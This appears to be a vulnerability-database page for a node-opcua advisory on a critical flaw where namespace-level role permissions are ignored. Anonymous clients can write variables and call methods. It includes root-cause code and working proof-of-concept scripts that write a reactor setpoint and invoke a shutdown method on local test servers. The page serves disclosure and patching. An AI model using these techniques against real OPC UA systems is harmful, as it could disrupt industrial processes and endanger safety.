node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissionsGHSA-xggf-m53x-jc3f
CRITICALFix: node-opcua/node-opcua#1580GHSA-xggf-m53x-jc3f is a critical-severity (CVSS 9.1) CWE-285 vulnerability in node-opcua. A fix is available for node-opcua — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xggf-m53x-jc3f.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
node-opcuanpmnode-opcua-address-spacenpmnode-opcua-servernpmDescription
Summary
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.
The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.
Affected configuration
This advisory covers two cases that are not equally severe:
- No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
- A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.
Root Cause Analysis
Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)
File: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."
Bug 2 - The namespace default resolves to null on the enforcement path
The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:
- NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a
Value(null). - Programmatically-created namespaces have no
NamespaceMetadatanode underServer/Namespaces, so the lookup returnsnull.
Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
Note: the loaded value is already
nullin stock nodesets, so this reset only changes the value'sdataTypetag; it is not the sole cause, the namespace default isnullregardless.
Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).
Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).
Measured: with
setDefaultRolePermissions([Operator])applied,namespace.getDefaultRolePermissions()returns the policy whilegetApplicableRolePermissions()returnsnull.
Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.
Steps to Reproduce
PoC-A - Address-space level (unit test, no network)
Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Output:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B - End-to-end over TCP (programmatic namespace)
Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Vulnerable output (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Control output (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Output:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Impact
- Write arbitrary values to Variables (
CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - Call bound Methods. Methods have no AccessLevel second gate;
executabledefaults totruefor bound methods (ua_method_impl.ts). - Affects every Node relying on the namespace
DefaultRolePermissionsinheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives every
PermissionFlagbecausenullresolves toallPermissions. - Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored
A:Nas deployment-specific.
What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit per-node
RolePermissions(correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls both
setDefaultRolePermissions()andsetNamespaceMetaData()(PoC-B--safe). - Variables without
CurrentWritein AccessLevel (the Call vector still applies to Methods).
Proposed Fix
- Fail-closed -
getPermissionForRole(null)should returnPermissionFlag.None, notallPermissions(per §4.8.3 default-deny). - Coherent path -
getApplicableRolePermissions()should usenode.getRolePermissions(inherited=true), which already reads the namespace field correctly. - API safety -
setDefaultRolePermissions()should take effect on enforcement directly, without requiringsetNamespaceMetaData()(which throws on nodeset-loaded namespaces). - Hardening -
server_engine.ts:947-957should not unconditionally resetDefaultRolePermissions.
Spec Reference (verified verbatim against the official OPC Foundation reference)
- OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3 - OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9 - OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines
DefaultRolePermissions/DefaultUserRolePermissionsas Properties of theNamespaceMetadataObject). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | node-opcua | ≥ 2.42.0&&< 2.180.0 | 2.180.0npm install node-opcua@2.180.0 |
| 📦npm | node-opcua-address-space | ≥ 2.42.0&&< 2.180.0 | 2.180.0npm install node-opcua-address-space@2.180.0 |
| 📦npm | node-opcua-server | ≥ 2.42.0&&< 2.180.0 | 2.180.0npm install node-opcua-server@2.180.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for node-opcua, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update node-opcua to 2.180.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xggf-m53x-jc3f is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-xggf-m53x-jc3f in your dependencies?
Find it across npm, including transitive dependencies.